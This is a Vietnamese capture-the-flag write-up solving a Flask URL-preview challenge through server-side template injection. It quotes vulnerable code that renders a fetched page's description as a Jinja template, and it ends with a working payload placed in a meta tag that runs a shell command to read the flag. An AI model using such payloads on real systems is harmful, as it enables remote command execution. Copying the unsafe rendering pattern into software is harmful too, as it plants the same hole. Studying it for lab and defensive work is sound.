image.png

Với đề bài như này nó hint làm mình chú ý đó chính là template , đôi chút làm mình liên tưởng đến SSTI nhưng để khẳng định chính xác thì mình sẽ tải source code về và phân tích.

Sau khi đọc hiểu luồng hoạt động của code rồi thì cơ bản thì vẫn đăng ký và đăng nhập bình thường để vào chức năng chính đó là : khi nhập vào một URL của một trang web thì nó sẽ render ra cho ta lại nội dung như title , description, url của trang web.Mình có thử với webhook.site

image.png

Cùng với chức năng render của nó mình có chú ý đến một đoạn code làm mình khẳng định bài này lỗi là SSTI luôn đó là đoạn :

 escaped_description = html.escape(description) # Escape HTML entities in description
        escaped_description = Template(description).render()
        escaped_url = html.escape(url)
        escaped_title = html.escape(title)

        try:
            return render_template(
                'fetch_info.html',
                url_display=escaped_url,
                title_display=escaped_title,
                description_content=escaped_description, 
                username=current_user
            )
        except Exception as e:
            error_message = f"Error rendering template: {str(e)}"
            return f"<h1>Error</h1><p>{error_message}</p>", 500

    return render_template('fetch_url_form.html', username=current_user)

Hơn thế nữa ta còn có thể phát triển payload hơn nữa để đọc Flag . Tiến hành:

Chạy trên local bẳng lệnh : python3 -m http.server 8000

Sau đó ta thực public cái web của ta lên , ở đây mình dùng dịch vụ của serveo: + ssh -R 80:localhost:8000 serveo.net

image.png

Ok vậy thì chỉ cần đưa URL của trang web của chúng ta lên xem thử như nào:

image.png

Rồi xong chỉ việc đọc nữa thôi:

<meta name="description" content="{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read() }}">
</head>